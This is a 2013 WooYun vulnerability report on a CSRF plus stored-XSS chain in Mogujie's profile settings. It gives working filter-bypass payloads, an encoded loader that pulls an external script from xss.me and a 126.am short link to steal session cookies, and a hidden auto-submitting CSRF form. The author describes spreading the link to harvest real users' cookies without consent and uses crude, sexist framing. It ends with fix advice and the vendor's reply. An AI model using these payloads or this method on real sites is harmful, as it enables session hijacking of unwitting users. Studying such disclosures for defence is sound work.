蘑菇街CSRF+存储XSS加载任意脚本,可获取妹子cookie

漏洞概要

缺陷编号:WooYun-2013-019754

漏洞标题:蘑菇街CSRF+存储XSS加载任意脚本,可获取妹子cookie

相关厂商:蘑菇街

漏洞作者:missdiog

提交时间:2013-03-08 19:00

公开时间:2013-04-22 19:01

漏洞类型:XSS 跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2013-03-08: 细节已通知厂商并且等待厂商处理中
2013-03-08: 厂商已经确认,细节仅向厂商公开
2013-03-18: 细节向核心白帽子及相关领域专家公开
2013-03-28: 细节向普通白帽子公开
2013-04-07: 细节向实习白帽子公开
2013-04-22: 细节向公众公开

简要描述:

蘑菇街在用户信息配置出,对用户提交过滤不严

详细说明:

该问题去年老早就发现了,只是不认识蘑菇街的人,无法转告,去年提交wooyun没有通过。所以一直搁置了。最近鼠标坏了,做事不方便,在硬盘里面放到笔记,于是再次提交混混运气。进入网页http://www.mogujie.com/settings/personal改页面为修改用户配置信息,查看代码得知几乎所有的地方都是输出在html标签内,但是细心下可以发现,用户的所在地输出在JS语句中。

通过手工测试,发现没有过滤单引号,这时候发现有搞头了,没有过滤单引号,那就意味着我们可以闭合该处的JS语句。心情很愉悦,于是提交身份字段:’);eval(alert(123));准备让我等穷屌丝探探妹纸玩玩,哪知道提交后,意外的发现没有弹框,气煞我等穷屌丝了。赶快看看代码。

居然把弹妹必备的关键词大杀器全都给屏蔽了,然我等穷屌丝又气又急。不行啊,弹窗那么好玩,不能放弃啊。有一个银弹的思路出来鸟。在网页中,HTML解析权优先于JS解析权高,我们可以把敏感词汇直接HTML编码后再提交,嘿嘿,叫你淫荡,叫你下流,叫你肮脏,哥必须爆你菊花。提交省份字段数据为:%27%29%3B%26%23101%3Bval%28a%26%23108%3Bert%28123%29%29%3B (');eval(alert(123));的URL编码,为什么要编码呢,因为里面有&符号)

没有弹JJ,看源码,我那个去啊,V5的程序员,你肿了,单引号你不过滤,你过滤#号干嘛,#号跟你有仇啊。嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿嘿HTML编码不行,我们还有亲爱的unicode编码,今天怎么都要TJJ,’);eval(alert(123)); 对二个敏感词汇进行编码 ,编码成:’); \u0065val(\u0061lert(123));提交后居然弹JJ了。爽歪歪啊,我们再来获取cookie,加载一个外部JS来看看。提交代码’); \u0065val('window.s=docum\u0065nt.creat\u0065Element(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,46,109,101,47,49,50,49,50);docum\u0065nt.body.app\u0065ndChild(window.s)')再查看源码,我那个去啊,被截断了,被截断了,真苦逼啊。没有办法,值得精简playlaod了提交省份数据为:123456789012345678901234567890123456789012345678901234567890,N多个,查看能输入多少代码。

数了一下,可以输入30个字符,然后市区也可以输入30个字符。一共合计60个字符,再除去注释符号/**/4个字符,加载闭合字符’,和’);5个字符,也就是说可以用的字符也就50个。用unicode编码字符怎么都不够的。看来还是等利用其他方法。继续苦力手工fuzzing,查看他过滤了什么:经过苦力测试,发现 " > & 使用了html编码转意了,小于号及其以后字符被过滤了,字符串 asa<123213会被过滤成asa 。eval alert document等常见的JS语句都循环过滤了evaleval会过滤成空,但是\eval不会过滤。在前端找了一下,没有发现过滤规则,那就说明过滤的正则放在后面,使用的是黑名单,既然是黑名单肯定有遗漏的函数没有过滤。查看了页面,发现很绚丽,在head里面居然发现了jquery,真是太爽了,天祝我也。提交:province=*/'//126.am/dTPsg2');//&city=','');jQuery.getScript(/*jQuery. getScript可以缩写成$.getScript省份与市区中间的单引号用/**/注释掉。提交后成功补齐。

在浏览器中打开,成功获得敏感信息。

到现在为止,还只能自己弹自己,不能弹妹子。很多时间厂家都不会在乎这样的漏洞,认为危害很小。那我们再来穷屌丝变高富帅吧。将只能弹自己的页面改为所有弹妹纸。我们在测试的时候发现了,在修改配置的时候可以直接修改。哦买糕,存在CSRF漏洞。哈哈,看来变成高富帅指日可待了。根据需要提交的数据结构,构造表单如下。<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head ><title>无标题页</title><script type="text/javascript">function send(){var f=document.getElementById("reg");f.submit();}</script></head><body onload="send()"><form action="http://www.mogujie.com/settings/personal" method="post" style="display:none"><input type="text" name="unick" value="xxoo_ooxx"><input type="text" name="sex" value="2"><input type="text" name="weibo" value=""><input type="text" name="province" value="*/'//126.am/dTPsg2');//"><input type="text" name="city" value="','');jQuery.getScript(/*"><input type="text" name="born[]" value="2008"><input type="text" name="born[]" value="2"><input type="text" name="born[]" value="2"><input type="text" name="constellation" value=""><input type="text" name="profession" value=""><input type="text" name="univs" value=""><input type="text" name="univsyear" value=""><input type="text" name="department" value="1"><input type="text" name="isSeeFigure" value="1"><input type="text" name="height" value=""><input type="text" name="weight" value=""><input type="text" name="bwhB" value=""><input type="text" name="bwhW" value=""><input type="text" name="bwhH" value=""><input type="text" name="pskin" value=""><input type="text" name="phair" value=""><input type="text" name="shoesize" value=""><input type="text" name="personstyle" value=""><input type="text" name="introduce" value=""></form></body></html>HTML代码的作用就是,妹纸流量该页面的时候,会自动修改配置,并跳转到XSS代码处。OK到此结束。我们将HTML代码上传到网站上面去,然后把link发布到蘑菇街的小组,或者百度贴吧,顶点收cookie,坐看弹妹纸。http://mogujie.cn/aZfcn以下为收集的cookie

话说蘑菇街贴非信任外链还有一个提示,当初准备测试看能否绕过去的。哪知道妹子们太敬业了,发几个link帐号就被封了,注册了几个被封几个,最后放弃了,有朋友有兴趣可以去测试哈。

漏洞证明:

以下为收集的cookie

修复方案:

1.加token防止CSRF。 referrer来验证太不靠谱了。2.我想不通省份,地区干嘛要用户提交。既然用户提交的,那就过滤严格。在javascript标签中输出的特殊字符(除了字母、数字以外的字符)都编码为0xHH格式。这个应该没有办法绕过了吧。

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-03-08 19:08

厂商回复:

谢谢兄弟, 立马修复

最新状态:

暂无

评价

  1. 2010-01-01 00:00 possible 白帽子 | Rank:296 漏洞数:31)

    过程很不错 很详细 学习了

  2. 2010-01-01 00:00 wefgod 白帽子 | Rank:1438 漏洞数:124)

    支持了!

  3. 2010-01-01 00:00 se55i0n 白帽子 | Rank:1483 漏洞数:156)

    不错

  4. 2010-01-01 00:00 rasca1 白帽子 | Rank:39 漏洞数:8)

    不错